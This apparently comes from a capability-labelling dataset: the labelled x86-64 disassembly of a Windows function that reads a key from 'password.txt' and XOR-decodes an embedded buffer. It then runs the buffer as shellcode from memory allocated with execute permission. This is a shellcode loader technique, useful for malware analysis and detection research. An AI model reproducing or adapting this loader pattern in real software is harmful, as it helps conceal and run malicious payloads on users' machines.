Function at 0x1400012b0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0xd0], rax
mov qword [rsp + 0x38], 6
lea rcx, [rsp + 0x38]
call fcn.140002e60
xor esi, esi
mov dword [rsp + 0x64], esi
mov qword [rsp + 0x68], 0xc
mov r14d, 0xf
mov qword [rsp + 0x70], r14
movsd xmm0, qword [str.password.txt]
movsd qword [rsp + 0x58], xmm0
mov eax, dword [0x140005550]
mov dword [rsp + 0x60], eax
mov byte [rsp + 0x64], sil
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x40]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x40]
call fcn.140002bf0
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x44], edx
cmp qword [rbp + 0x50], rsi
jne 0x1400013c5
lea rdx, [0x140005558]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003060
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], r14
cmova rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x68]
mov rcx, rax
call fcn.140003590
mov rcx, rax
lea rdx, [0x140003230]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea edi, [rsi + 1]
jmp 0x140001913
xorps xmm0, xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov qword [rsp + 0x50], rsi
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], r14
mov byte [rsp + 0x78], 0
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x40]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x40]
call fcn.140003750
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x1400014a0
nop word [rax + rax]
mov rax, qword [rsp + 0x48]
cmp rax, qword [rsp + 0x50]
je 0x140001451
lea rdx, [rsp + 0x78]
mov rcx, rax
call fcn.140002810
add qword [rsp + 0x48], 0x20
jmp 0x140001463
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400038f0
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x40]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x40]
call fcn.140003750
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140001430
lea rcx, [rbp - 0x30]
call fcn.140002b30
mov r13d, 2
test rax, rax
jne 0x1400014cf
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x40]
add rcx, rax
xor r8d, r8d
mov edx, r13d
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, [0x140005568]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003060
mov rcx, rax
lea rdx, [0x140003230]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
cmp rbx, rdi
je 0x140001537
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14000150e
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003590
mov rcx, rax
lea rdx, [0x140003230]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
add rbx, 0x20
cmp rbx, rdi
jne 0x140001501
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rsi
lea rbx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
seta byte [rsp + 0x31]
mov r12, qword [rsp + 0x78]
cmova rbx, r12
movabs rax, 0x7fffffffffffffff
mov rdi, qword [rbp - 0x78]
cmp rdi, rax
ja 0x140001a13
cmp rdi, 0xf
ja 0x140001594
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], r14
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x68], xmm0
movq r15, xmm0
jmp 0x140001626
mov r14, rdi
or r14, 0xf
cmp r14, rax
jbe 0x1400015d0
mov r14, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140003cb0
test rax, rax
je 0x14000185f
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x14000160a
mov eax, 0x16
cmp r14, rax
cmovb r14, rax
lea rcx, [r14 + 1]
cmp rcx, 0x1000
jb 0x1400015f8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001a19
jmp 0x1400015b1
test rcx, rcx
je 0x140001607
call fcn.140003cb0
mov r15, rax
jmp 0x14000160a
mov r15, rsi
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], r14
lea r8, [rdi + 1]
mov rdx, rbx
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
nop
lea rbx, [rbp - 0x68]
cmp r14, 0xf
seta byte [rsp + 0x30]
cmova rbx, r15
lea rcx, [rdi + 1]
call fcn.140003cf4
mov rsi, rax
lea r8, [rdi + 1]
add r8, rbx
sub r8, rbx
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
lea rdx, [0x140005578]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003060
mov rdx, rsi
mov rcx, rax
call fcn.140003060
mov rcx, rax
lea rdx, [0x140003230]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rsi + r8], 0
jne 0x140001690
xor r9d, r9d
lea rbx, [0x1400080c0]
mov edi, 1
sub rdi, rbx
sub r13, rbx
mov r10d, 3
sub r10, rbx
mov r11d, 4
sub r11, rbx
nop dword [rax]
nop word [rax + rax]
lea rcx, [r9 + rbx]
xor edx, edx
mov rax, r9
div r8
movzx eax, byte [rdx + rsi]
xor byte [rcx], al
lea rax, [rcx + rdi]
xor edx, edx
div r8
movzx eax, byte [rdx + rsi]
xor byte [rcx + 1], al
lea rax, [rcx + r13]
xor edx, edx
div r8
movzx eax, byte [rdx + rsi]
xor byte [rcx + 2], al
lea rax, [rcx + r10]
xor edx, edx
div r8
movzx eax, byte [rdx + rsi]
xor byte [rcx + 3], al
lea rax, [rcx + r11]
xor edx, edx
div r8
movzx eax, byte [rdx + rsi]
xor byte [rcx + 4], al
add r9, 5
cmp r9, 0x39d
jb 0x1400016d0
lea rdx, [0x140005598]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003060
xor esi, esi
movzx edi, byte [rsi + rbx]
lea rdx, [0x1400055a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003060
mov rcx, rax
lea rdx, [0x140001290]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
inc rsi
cmp rsi, 0x39d
jb 0x140001744
lea rdx, [0x140003230]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x39e
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
mov rcx, rax
mov edx, 7
nop dword [rax + rax]
movups xmm0, xmmword [rbx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rbx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rbx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rbx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rbx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rbx + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rbx + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rbx, [rbx + 0x80]
sub rdx, 1
jne 0x1400017c0
movups xmm0, xmmword [rbx]
movups xmmword [rcx], xmm0
mov rax, qword [rbx + 0x10]
mov qword [rcx + 0x10], rax
mov eax, dword [rbx + 0x18]
mov dword [rcx + 0x18], eax
movzx eax, word [rbx + 0x1c]
mov word [rcx + 0x1c], ax
call r8
xor edi, edi
cmp byte [rsp + 0x30], dil
je 0x14000186f
lea rdx, [r14 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140001866
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001866
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.140003cec
nop
cmp byte [rsp + 0x31], 0
je 0x1400018af
mov rdx, qword [rbp - 0x70]
inc rdx
mov rax, r12
cmp rdx, 0x1000
jb 0x1400018a6
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018a6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.140003cec
nop
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140001913
mov rdx, qword [rsp + 0x48]
call fcn.140003380
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003cec
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 0
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x44], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x30], rax
cmp qword [rbp + 0x50], 0
je 0x140001972
mov rax, qword [rbp - 0x18]
lea rcx, [rbp + 0x40]
cmp qword [rax], rcx
jne 0x140001972
mov rdx, qword [rbp + 0x60]
mov rcx, qword [rbp + 0x58]
mov qword [rax], rcx
mov rax, qword [rbp + 8]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x20]
mov dword [rax], edx
cmp byte [rbp + 0x4c], 0
je 0x140001981
lea rcx, [rbp - 0x30]
call fcn.140002b30
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x1400019e1
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003cec
mov eax, edi
mov rcx, qword [rbp + 0xd0]
xor rcx, rsp
call fcn.140003c90
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
int3